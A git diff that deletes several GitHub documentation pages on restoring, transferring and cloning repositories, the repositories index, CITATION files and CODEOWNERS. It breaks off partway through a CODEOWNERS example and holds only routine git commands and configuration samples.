b/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md deleted file mode 100644 index ce0b0961e52c..000000000000 --- a/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Restoring a deleted repository -intro: '{% ifversion ghes %}An enterprise owner{% elsif fpt or ghec %}You{% endif %} can restore some deleted repositories to recover their contents.' -permissions: '{% ifversion ghes %}{% elsif fpt or ghec %}Anyone can restore deleted repositories that were owned by their own personal account. Organization owners can restore deleted repositories that were owned by the organization.{% endif %}' -redirect_from: - - /articles/restoring-a-deleted-repository - - /github/administering-a-repository/restoring-a-deleted-repository - - /github/administering-a-repository/managing-repository-settings/restoring-a-deleted-repository -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories -shortTitle: Restore deleted repository ---- - -{% ifversion ghes %} - -Usually, deleted repositories can be restored within 90 days by an enterprise owner{% ifversion ghes %} on {% data variables.location.product_location %}{% endif %}. For more information, see [AUTOTITLE](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository). - -{% else %} - -## About repository restoration - -A deleted repository can be restored within 90 days, unless the repository was part of a fork network that is not currently empty. A fork network consists of a parent repository, the repository's forks, and forks of the repository's forks. If your repository was part of a fork network, it cannot be restored unless every other repository in the network is deleted or has been detached from the network. For more information about forks, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). - -If you want to restore a repository that was part of a fork network that is not currently empty, you can contact {% data variables.contact.contact_support %}. - -{% ifversion fpt %} - -> [!IMPORTANT] -> You can only contact {% data variables.contact.github_support %} to restore a repository if you are on a paid {% data variables.product.prodname_dotcom %} plan. For more information about the different plans, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -{% endif %} - -It can take up to an hour after a repository is deleted before that repository is available for restoration. - -Restoring a repository will not restore release attachments or team permissions. Issues that are restored will not be labeled. - -## Restoring a deleted repository that was owned by a personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.repo-tab %} -{% data reusables.user-settings.deleted-repos %} -{% data reusables.user-settings.restore-repo %} -{% data reusables.user-settings.restore-confirmation %} - -## Restoring a deleted repository that was owned by an organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.deleted-repos %} -{% data reusables.user-settings.restore-repo %} -{% data reusables.user-settings.restore-confirmation %} - -## Further reading - -* [AUTOTITLE](/repositories/creating-and-managing-repositories/deleting-a-repository) - -{% endif %} diff --git a/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/content/repositories/creating-and-managing-repositories/transferring-a-repository.md deleted file mode 100644 index c56b75ea0e62..000000000000 --- a/content/repositories/creating-and-managing-repositories/transferring-a-repository.md +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Transferring a repository -intro: You can transfer repositories to other users or organization accounts. -redirect_from: - - /articles/about-repository-transfers - - /move-a-repo - - /moving-a-repo - - /articles/what-is-transferred-with-a-repository - - /articles/what-is-transferred-with-a-repo - - /articles/how-to-transfer-a-repo - - /articles/how-to-transfer-a-repository - - /articles/transferring-a-repository-owned-by-your-personal-account - - /articles/transferring-a-repository-owned-by-your-organization - - /articles/transferring-a-repository - - /github/administering-a-repository/transferring-a-repository - - /github/administering-a-repository/managing-repository-settings/transferring-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -## About repository transfers - -When you transfer a repository to a new owner, they can immediately administer the repository's contents, issues, pull requests, releases, {% data variables.product.prodname_projects_v1 %}, and settings. You can also change the repository name while transferring a repository. See [AUTOTITLE](/repositories/creating-and-managing-repositories/renaming-a-repository). - -Prerequisites for repository transfers: -* When you transfer a repository that you own to another personal account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. If the new owner doesn't accept the transfer within one day, the invitation will expire.{% endif %} -* To transfer a repository you must have administrator access to the repository. -{%- ifversion fpt or ghec %} -* Repositories on {% data variables.product.prodname_dotcom_the_website %} can only be transferred to other owners on {% data variables.product.prodname_dotcom_the_website %}. -{%- ifversion ghec %} -* Repositories cannot be transferred into an {% data variables.enterprise.prodname_emu_enterprise %} from outside the enterprise, or vice versa. -{%- endif %} -{%- elsif ghes %} -* Repositories can only be transferred to an owner within the same {% data variables.product.prodname_ghe_server %} instance. For more information about moving a repository from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %}, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-between-github-products/migrating-repositories-from-github-enterprise-server-to-github-enterprise-cloud). -{%- endif %} -* To transfer a repository that you own to an organization, you must have permission to create a repository in the target organization. -* The target account must not have a repository with the same name, or a fork in the same network. -* The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact. -* Single repositories forked from a private upstream network cannot be transferred. -{%- ifversion ghec %} -* Internal repositories can only be transferred to an organization in the enterprise. You cannot transfer an internal repository from an organization owned by one enterprise account to an organization owned by a different enterprise account. -{%- endif %} - -{% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %} - -If the transferred repository contains an action listed on {% data variables.product.prodname_marketplace %}, or had more than 100 clones or more than 100 uses of {% data variables.product.prodname_actions %} in the week prior to the transfer, {% data variables.product.prodname_dotcom %} permanently retires the owner name and repository name combination (`OWNER/REPOSITORY-NAME`) when you transfer the repository. If you try to create a repository using a retired owner name and repository name combination, you will see the error: "The repository `REPOSITORY_NAME` has been retired and cannot be reused."{% endif %} - -### What's transferred with a repository? - -When you transfer a repository, its issues, pull requests, wiki, stars, and watchers are also transferred. If the transferred repository contains webhooks, services, secrets, or deploy keys, they will remain associated after the transfer is complete. Git information about commits, including contributions, is preserved. In addition: - -* If the transferred repository is a fork, then it remains associated with the upstream repository. -* If the transferred repository has any forks, then those forks will remain associated with the repository after the transfer is complete. -* If the transferred repository uses {% data variables.large_files.product_name_long %}, all {% data variables.large_files.product_name_short %} objects are automatically moved. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. For more information on adding storage for personal accounts, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage).{% endif %} -* When a repository is transferred between two personal accounts, issue assignments are left intact. When you transfer a repository from a personal account to an organization, issues assigned to members in the organization remain intact, and all other issue assignees are cleared. Only owners in the organization are allowed to create new issue assignments. When you transfer a repository from an organization to a personal account, only issues assigned to the repository's owner are kept, and all other issue assignees are removed. -* If the transferred repository contains a {% data variables.product.prodname_pages %} site, then links to the Git repository on the Web and through Git activity are redirected. However, we don't redirect {% data variables.product.prodname_pages %} associated with the repository. -* All links to the previous repository location are automatically redirected to the new location. When you use `git clone`, `git fetch`, or `git push` on a transferred repository, these commands will redirect to the new repository location or URL. However, to avoid confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line: - - ```shell - git remote set-url origin NEW_URL - ``` - - > [!WARNING] - > If you create a new repository or fork at the previous repository location, the redirects to the transferred repository will be deactivated. They can be reactivated by renaming or deleting the new repository or fork. - -* When you transfer a repository from an organization to a personal account, the repository's read-only collaborators will not be transferred. This is because collaborators can't have read-only access to repositories owned by a personal account. For more information about repository permission levels, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization).{% ifversion fpt or ghec %} -* Sponsors who have access to the repository through a sponsorship tier may be affected. See [AUTOTITLE](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers#adding-a-repository-to-a-sponsorship-tier).{% endif %} -* Packages associated with the repository may be transferred, or may lose their link to the repository, depending on the registry they belong to. See [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#about-repository-transfers). - -See [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). - -### Repository transfers and organizations - -To transfer repositories to an organization, you must have permission to create repositories in the receiving organization, and to transfer repositories out of the origin organization. An organization or enterprise owner may have set a policy that prevents certain users from doing these things. - -Once a repository is transferred to an organization, the organization's default repository permission settings and default membership privileges will apply to the transferred repository. - -## Transferring a repository owned by your personal account - -You can transfer your repository to any personal account that accepts your repository transfer. When a repository is transferred between two personal accounts, the original repository owner and collaborators are automatically added as collaborators to the new repository. - -{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. See [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site).{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.transfer-repository-steps %} - -## Transferring a repository owned by your organization - -If you have owner permissions in an organization or admin permissions to one of its repositories, you can transfer a repository owned by your organization to your personal account or to another organization. {% ifversion ghec or ghes %}Internal repositories cannot be transferred to a personal account, only to another organization. To transfer an internal repository, change the repository's visibility to "private" or "public". See [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility){% endif %} - -1. Sign into your personal account that has admin or owner permissions in the organization that owns the repository. -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.transfer-repository-steps %} diff --git a/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md b/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md deleted file mode 100644 index 83ad1568d435..000000000000 --- a/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Troubleshooting cloning errors -intro: 'If you''re having trouble cloning a repository, check these common errors.' -redirect_from: - - /articles/error-the-requested-url-returned-error-403 - - /articles/error-the-requested-url-returned-error-401 - - /articles/error-did-you-run-git-update-server-info-on-the-server - - /articles/error-the-requested-url-returned-error-403-while-accessing-https-github-com-user-repo-git-info-refs - - /articles/https-cloning-errors - - /github/creating-cloning-and-archiving-repositories/https-cloning-errors - - /articles/error-repository-not-found - - /github/creating-cloning-and-archiving-repositories/error-repository-not-found - - /articles/error-remote-head-refers-to-nonexistent-ref-unable-to-checkout - - /github/creating-cloning-and-archiving-repositories/error-remote-head-refers-to-nonexistent-ref-unable-to-checkout -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- - -## HTTPS cloning errors - -There are a few common errors when using HTTPS with Git. These errors usually indicate you have an old version of Git, or you don't have access to the repository. - -Here's an example of an HTTPS error you might receive: - -```shell -> error: The requested URL returned error: 401 while accessing -> https://{% data variables.product.product_url %}/USER/REPO.git/info/refs?service=git-receive-pack -> fatal: HTTP request failed -``` - -```shell -> Error: The requested URL returned error: 403 while accessing -> https://{% data variables.product.product_url %}/USER/REPO.git/info/refs -> fatal: HTTP request failed -``` - -```shell -> Error: https://{% data variables.product.product_url %}/USER/REPO.git/info/refs not found: did you run git -> update-server-info on the server? -``` - -### Check your Git version - -There's no minimum Git version necessary to interact with {% data variables.product.github %}, but we've found version 1.7.10 to be a comfortable stable version that's available on many platforms. You can always [download the latest version on the Git website](https://git-scm.com/downloads). - -### Ensure the remote is correct - -The repository you're trying to fetch must exist on {% data variables.location.product_location %}. - -You can find the URL of the local repository by opening the command line and -typing `git remote -v`: - -```shell -$ git remote -v -# View existing remotes -> origin https://github.com/ghost/cocoareactive.git (fetch) -> origin https://github.com/ghost/cocoareactive.git (push) - -$ git remote set-url origin https://github.com/ghost/ReactiveCocoa.git -# Change the 'origin' remote's URL - -$ git remote -v -# Verify new remote URL -> origin https://github.com/ghost/ReactiveCocoa.git (fetch) -> origin https://github.com/ghost/ReactiveCocoa.git (push) -``` - -Alternatively, you can change the URL through our -[{% data variables.product.prodname_desktop %}](https://desktop.github.com/) application. - -### Provide an access token - -To access {% data variables.product.prodname_dotcom %}, you must authenticate with a {% data variables.product.pat_generic %} instead of your password. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -{% data reusables.command_line.provide-an-access-token %} - -### Check your permissions - -When prompted for a username and password, make sure you use an account that has access to the repository. - -> [!TIP] -> If you don't want to enter your credentials every time you interact with the remote repository, you can turn on [credential caching](/get-started/git-basics/caching-your-github-credentials-in-git). If you are already using credential caching, please make sure that your computer has the correct credentials cached. Incorrect or out of date credentials will cause authentication to fail. - -### Use SSH instead - -If you've previously set up SSH keys, you can use the SSH clone URL instead of HTTPS. For more information, see [AUTOTITLE](/get-started/git-basics/about-remote-repositories). - -## Error: Repository not found - -{% ifversion fpt or ghec %}If you see this error when cloning a repository, it means that the repository does not exist or you do not have permission to access it.{% else %}If you see this error when cloning a repository, it means that the repository does not exist, you do not have permission to access it, or {% data variables.location.product_location %} is in private mode.{% endif %} There are a few solutions to this error, depending on the cause. - -### Check your spelling - -Typos happen. If you try to clone `git@{% data variables.product.product_url %}:owner/repotile.git`, but the repository is really named `owner/repoti1e` you will receive this error. - -To avoid this error, when cloning, always copy and paste the clone URL from the repository's page. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). - -To update the remote on an existing repository, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). - -### Checking your permissions - -If you are trying to clone a private repository but do not have permission to view the repository, you will receive this error. - -Make sure that you have access to the repository in one of these ways: - -* The owner of the repository -* A [collaborator](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository) on the repository -* A [member of a team](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team) that has access to the repository (if the repository belongs to an organization) - -### Check your SSH access - -In rare circumstances, you may not have the proper SSH access to a repository. - -You should ensure that the SSH key you are using is attached to your personal account on {% data variables.product.github %}. You can check this by typing -the following into the command line: - -```shell -$ ssh -T git@{% data variables.product.product_url %} -> Hi USERNAME! You've successfully authenticated, but GitHub does not -> provide shell access. -``` - -{% ifversion fpt or ghec %} -If the repository belongs to an organization and you're using an SSH key generated by an {% data variables.product.prodname_oauth_app %}, {% data variables.product.prodname_oauth_app %} access may have been restricted by an organization owner. For more information, see [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions). -{% endif %} - -For more information, see [Adding a new SSH key to your GitHub account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account). - -{% ifversion ghes %} - -### Check if your instance is in private mode - -If your site administrator has enabled private mode on your GitHub Enterprise instance, anonymous clones over `git://` will be disabled. If you are unable to clone a repository, contact your site administrator. -{% endif %} - -### Check that the repository really exists - -If all else fails, make sure that the repository really exists on {% data variables.location.product_location %}! -If you're trying to push to a repository that doesn't exist, you'll get this error. - -## Error: Remote HEAD refers to nonexistent ref, unable to checkout - -This error occurs if the default branch of a repository has been deleted on {% data variables.location.product_location %}. - -Detecting this error is simple; Git will warn you when you try to clone the repository: - -```shell -$ git clone https://{% data variables.product.product_url %}/USER/REPO.git -# Clone a repo -> Cloning into 'repo'... -> remote: Counting objects: 66179, done. -> remote: Compressing objects: 100% (15587/15587), done. -> remote: Total 66179 (delta 46985), reused 65596 (delta 46402) -> Receiving objects: 100% (66179/66179), 51.66 MiB | 667 KiB/s, done. -> Resolving deltas: 100% (46985/46985), done. -> warning: remote HEAD refers to nonexistent ref, unable to checkout. -``` - -To fix the error, you'll need to be an administrator of the repository on {% data variables.location.product_location %}. -You'll want to [change the default branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch) of the repository. - -After that, you can get a list of all the available branches from the command line: - -```shell -$ git branch -a -# Lists ALL the branches -> remotes/origin/awesome -> remotes/origin/more-work -> remotes/origin/new-main -``` - -Then, you can just switch to your new branch: - -```shell -$ git checkout new-main -# Create and checkout a tracking branch -> Branch new-main set up to track remote branch new-main from origin. -> Switched to a new branch 'new-main' -``` diff --git a/content/repositories/index.md b/content/repositories/index.md deleted file mode 100644 index 99a8e769c766..000000000000 --- a/content/repositories/index.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Repositories documentation -shortTitle: Repositories -intro: Learn to use and manage the repositories that allow you to store and collaborate on your project's code. -introLinks: - quickstart: /repositories/creating-and-managing-repositories/quickstart-for-repositories - overview: /repositories/creating-and-managing-repositories/about-repositories -featuredLinks: - startHere: - - /repositories/creating-and-managing-repositories/cloning-a-repository - - /repositories/creating-and-managing-repositories/restoring-a-deleted-repository - - /repositories/working-with-files/managing-files/adding-a-file-to-a-repository - - /repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository - popular: - - /repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches - - /repositories/releasing-projects-on-github/about-releases - - /repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes - - /repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners - guideCards: - - /repositories/creating-and-managing-repositories/deleting-a-repository - - /repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule - - /repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility -changelog: - label: repos -layout: product-landing -redirect_from: - - /github/creating-cloning-and-archiving-repositories -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /creating-and-managing-repositories - - /managing-your-repositorys-settings-and-features - - /configuring-branches-and-merges-in-your-repository - - /working-with-files - - /releasing-projects-on-github - - /viewing-activity-and-data-for-your-repository - - /archiving-a-github-repository ---- - diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md deleted file mode 100644 index 81f39daa5dbd..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: About CITATION files -intro: You can add a CITATION file to your repository to help users correctly cite your software. -redirect_from: - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-citation-files -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -## About CITATION files - -You can add a `CITATION.cff` file to the root of a repository to let others know how you would like them to cite your work. The citation file format is plain text with human- and machine-readable citation information. - -Example `CITATION.cff` file: - -```text -cff-version: 1.2.0 -message: "If you use this software, please cite it as below." -authors: -- family-names: "Lisa" - given-names: "Mona" - orcid: "https://orcid.org/0000-0000-0000-0000" -- family-names: "Bot" - given-names: "Hew" - orcid: "https://orcid.org/0000-0000-0000-0000" -title: "My Research Software" -version: 2.0.4 -doi: 10.5281/zenodo.1234 -date-released: 2017-12-18 -url: "https://github.com/github-linguist/linguist" -``` - -The {% data variables.product.company_short %} citation prompt on your repository will show the example `CITATION.cff` content in these formats: - -**APA** - -```text -Lisa, M., & Bot, H. (2017). My Research Software (Version 2.0.4) [Computer software]. https://doi.org/10.5281/zenodo.1234 -``` - -**BibTeX** - -{% raw %} - -```text -@software{Lisa_My_Research_Software_2017, - author = {Lisa, Mona and Bot, Hew}, - doi = {10.5281/zenodo.1234}, - month = {12}, - title = {{My Research Software}}, - url = {https://github.com/github-linguist/linguist}, - version = {2.0.4}, - year = {2017} -} -``` - -{% endraw %} - -Note the example above produces a _software_ citation (that is, `@software` type in BibTeX rather than `@article`). - -For more information, see the [Citation File Format](https://citation-file-format.github.io/) website. - -When you add a `CITATION.cff` file to the default branch of your repository, a link is automatically added to the repository landing page in the right sidebar, with the label "Cite this repository." This makes it easy for other users to cite your software project, using the information you've provided. - - - -![Screenshot showing the main repository page. The "Cite this repository" link on the right is expanded to show details and outlined in orange.](/assets/images/help/repository/citation-link.png) - -## Citing something other than software - -If you would prefer the {% data variables.product.prodname_dotcom %} citation information to link to another resource such as a research article, then you can use the `preferred-citation` override in CFF with the following types. - -{% rowheaders %} - -| Resource | CFF type | BibTeX type | APA annotation | -|----------|----------|-------------|----------------| -| Journal article/paper | `article` | `@article` | Not applicable | -| Book | `book` | `@book` | Not applicable | -| Booklet (bound but not published) | `pamphlet` | `@booklet` | Not applicable | -| Conference article/paper | `conference-paper` | `@inproceedings` | [Conference paper] | -| Conference proceedings | `conference`, `proceedings` | `@proceedings` | Not applicable | -| Data set | `data`, `database` | `@misc` | [Data set] | -| Magazine article | `magazine-article` | `@article` | Not applicable | -| Manual | `manual` | `@manual` | Not applicable | -| Misc/generic/other | `generic`, any other CFF type | `@misc` | Not applicable | -| Newspaper article | `newspaper-article` | `@article` | Not applicable | -| Software | `software`, `software-code`, `software-container`, `software-executable`, `software-virtual-machine` | `@software` | [Computer software] | -| Report/technical report | `report` | `@techreport` | Not applicable | -| Unpublished | `unpublished` | `@unpublished` | Not applicable | - -{% endrowheaders %} - -Extended CITATION.cff file describing the software, but linking to a research article as the preferred citation: - -```text -cff-version: 1.2.0 -message: "If you use this software, please cite it as below." -authors: -- family-names: "Lisa" - given-names: "Mona" - orcid: "https://orcid.org/0000-0000-0000-0000" -- family-names: "Bot" - given-names: "Hew" - orcid: "https://orcid.org/0000-0000-0000-0000" -title: "My Research Software" -version: 2.0.4 -doi: 10.5281/zenodo.1234 -date-released: 2017-12-18 -url: "https://github.com/github-linguist/linguist" -preferred-citation: - type: article - authors: - - family-names: "Lisa" - given-names: "Mona" - orcid: "https://orcid.org/0000-0000-0000-0000" - - family-names: "Bot" - given-names: "Hew" - orcid: "https://orcid.org/0000-0000-0000-0000" - doi: "10.0000/00000" - journal: "Journal Title" - month: 9 - start: 1 # First page number - end: 10 # Last page number - title: "My awesome research software" - issue: 1 - volume: 1 - year: 2021 -``` - -The example `CITATION.cff` file above will produce the following outputs in the {% data variables.product.company_short %} citation prompt: - -**APA** - -```text -Lisa, M., & Bot, H. (2021). My awesome research software. Journal Title, 1(1), 1. https://doi.org/10.0000/00000 -``` - -**BibTeX** - -{% raw %} - -```text -@article{Lisa_My_awesome_research_2021, - author = {Lisa, Mona and Bot, Hew}, - doi = {10.0000/00000}, - journal = {Journal Title}, - month = {9}, - number = {1}, - pages = {1--10}, - title = {{My awesome research software}}, - volume = {1}, - year = {2021} -} -``` - -{% endraw %} - -## Citing a dataset - -If your repository contains a dataset, you can set `type: dataset` at the top level of your `CITATION.cff` file to produce a data citation string output in the {% data variables.product.prodname_dotcom %} citation prompt. - -## Other citation files - -The {% data variables.product.company_short %} citation feature will also detect a small number of additional files that are often used by communities and projects to describe how they would like their work to be cited. - -{% data variables.product.company_short %} will link to these files in the _Cite this repository_ prompt, but will not attempt to parse them into other citation formats. - -```text -# Note these are case-insensitive and must be in the root of the repository -CITATION -CITATIONS -CITATION.bib -CITATIONS.bib -CITATION.md -CITATIONS.md - -# CITATION files for R packages are typically found at inst/CITATION -inst/CITATION -``` - -## Citation formats - -We currently support APA and BibTeX file formats. - -Are you looking for additional citation formats? {% data variables.product.company_short %} uses a Ruby library, to parse the `CITATION.cff` files. You can request additional formats in the [ruby-cff](https://github.com/citation-file-format/ruby-cff) repository, or contribute them yourself. diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md deleted file mode 100644 index 62903eb70cbe..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: About code owners -intro: You can use a CODEOWNERS file to define individuals or teams that are responsible for code in a repository. -permissions: 'People with write permissions for the repository can create or edit the CODEOWNERS file and be listed as code owners. People with admin or owner permissions can require that pull requests have to be approved by code owners before they can be merged.' -redirect_from: - - /articles/about-codeowners - - /articles/about-code-owners - - /github/creating-cloning-and-archiving-repositories/about-code-owners - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-code-owners -product: '{% data reusables.gated-features.code-owners %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -The people you choose as code owners must have write permissions for the repository. When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership. - -## About code owners - -Code owners are automatically requested for review when someone opens a pull request that modifies code that they own. Code owners are not automatically requested to review draft pull requests. For more information about draft pull requests, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests#draft-pull-requests). When you mark a draft pull request as ready for review, code owners are automatically notified. If you convert a pull request to a draft, people who are already subscribed to notifications are not automatically unsubscribed. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request). - -When someone with admin or owner permissions has enabled required reviews, they also can optionally require approval from a code owner before the author can merge a pull request in the repository. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-pull-request-reviews-before-merging). - -If a file has a code owner, you can see who the code owner is before you open a pull request. In the repository, you can browse to the file and hover over {% octicon "shield-lock" aria-label="Owned by USER or TEAM (from CODEOWNERS line NUMBER)" %} to see a tool tip with codeownership details. - -{% ifversion fpt or ghec %} -![Screenshot showing the header for a file. The cursor hovers over a shield icon with the tooltip "Owned by USER or TEAM (from CODEOWNERS line NUMBER)."](/assets/images/help/repository/code-owner-for-a-file.png) -{% else %} -![Screenshot showing the header for a file. The cursor is hovering over the shield icon, which displays the tooltip "Owned by USER or TEAM."](/assets/images/enterprise/repository/code-owner-for-a-file.png) -{% endif %} - -## CODEOWNERS file location - -To use a CODEOWNERS file, create a new file called `CODEOWNERS` in the `.github/`, root, or `docs/` directory of the repository, in the branch where you'd like to add the code owners. If `CODEOWNERS` files exist in more than one of those locations, {% data variables.product.prodname_dotcom %} will search for them in that order and use the first one it finds. - -Each CODEOWNERS file assigns the code owners for a single branch in the repository. Thus, you can assign different code owners for different branches, such as `@octo-org/codeowners-team` for a code base on the default branch and `@octocat` for a {% data variables.product.prodname_pages %} site on the `gh-pages` branch. - -For code owners to receive review requests, the CODEOWNERS file must be on the base branch of the pull request. For example, if you assign `@octocat` as the code owner for _.js_ files on the `gh-pages` branch of your repository, `@octocat` will receive review requests when a pull request with changes to _.js_ files is opened between the head branch and `gh-pages`. - -## CODEOWNERS and forks - -To trigger review requests, pull requests use the version of `CODEOWNERS` from the base branch of the pull request. The base branch is the branch that a pull request will modify if the pull request is merged. - -If you create a pull request from a fork, and the base branch is in the upstream repository, then the pull request will use the `CODEOWNERS` file from that branch in the upstream repository. If the base branch is a branch within your fork, then the pull request will use the `CODEOWNERS` file from that branch in your fork, but this will only trigger review requests if the code owners are added to your fork specifically with `write` access. - -When you view who is responsible for a file by hovering over {% octicon "shield-lock" aria-label="Owned by USER or TEAM (from CODEOWNERS line NUMBER)" %}, you will see information from the `CODEOWNERS` file for whichever branch in whichever repository you're looking at. - -## CODEOWNERS file size - -CODEOWNERS files must be under 3 MB in size. A CODEOWNERS file over this limit will not be loaded, which means that code owner information is not shown and the appropriate code owners will not be requested to review changes in a pull request. - -To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry. - -## CODEOWNERS syntax - -> [!WARNING] -> There are some syntax rules for gitignore files that _do not work_ in CODEOWNERS files: -> * Escaping a pattern starting with `#` using `\` so it is treated as a pattern and not a comment doesn't work -> * Using `!` to negate a pattern doesn't work -> * Using `[ ]` to define a character range doesn't work - -A CODEOWNERS file uses a pattern that follows most of the same rules used in [gitignore](https://git-scm.com/docs/gitignore#_pattern_format) files. The pattern is followed by one or more {% data variables.product.prodname_dotcom %} usernames or team names using the standard `@username` or `@org/team-name` format. Users and teams must have explicit `write` access to the repository, even if the team's members already have access. - -If you want to match two or more code owners with the same pattern, all the code owners must be on the same line. If the code owners are not on the same line, the pattern matches only the last mentioned code owner. - -{% ifversion fpt or ghec %}In most cases, you{% else %}You{% endif %} can also refer to a user by an email address that has been added to their account, for example `user@example.com`. {% ifversion fpt or ghec %} You cannot use an email address to refer to a {% data variables.enterprise.prodname_managed_user %}. For more information about {% data variables.enterprise.prodname_managed_users %}, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %}{% endif %} - -CODEOWNERS paths are case sensitive, because {% data variables.product.prodname_dotcom %} uses a case sensitive file system. Since CODEOWNERS are evaluated by {% data variables.product.prodname_dotcom %}, even systems that are case insensitive (for example, macOS) must use paths and files that are cased correctly in the CODEOWNERS file. - -If any line in your CODEOWNERS file contains invalid syntax, that line will be skipped. When you navigate to the CODEOWNERS file in your repository, you can see any errors highlighted. A list of errors in a repository's CODEOWNERS file is also accessible via the API. For more information, see [AUTOTITLE](/rest/repos/repos#list-codeowners-errors). - -If you specify a user or team that doesn't exist or has insufficient access, a code owner will not be assigned. - -### Example of a CODEOWNERS file - -```text -# This is a comment. -# Each line is a file pattern followed by one or more owners. - -# These owners will be the default owners for everything in -# the repo. Unless a later match takes precedence, -# @global-owner1 and @global-owner2 will be requested for -# review when someone opens a pull request. -* @global-owner1 @global-owner2 - -# Order is important; the last matching pattern takes the most -# precedence. When someone opens a pull request that only -# modifies JS files, only @js-owner and not the global -# owner(s) will be requested for a review. -*.js 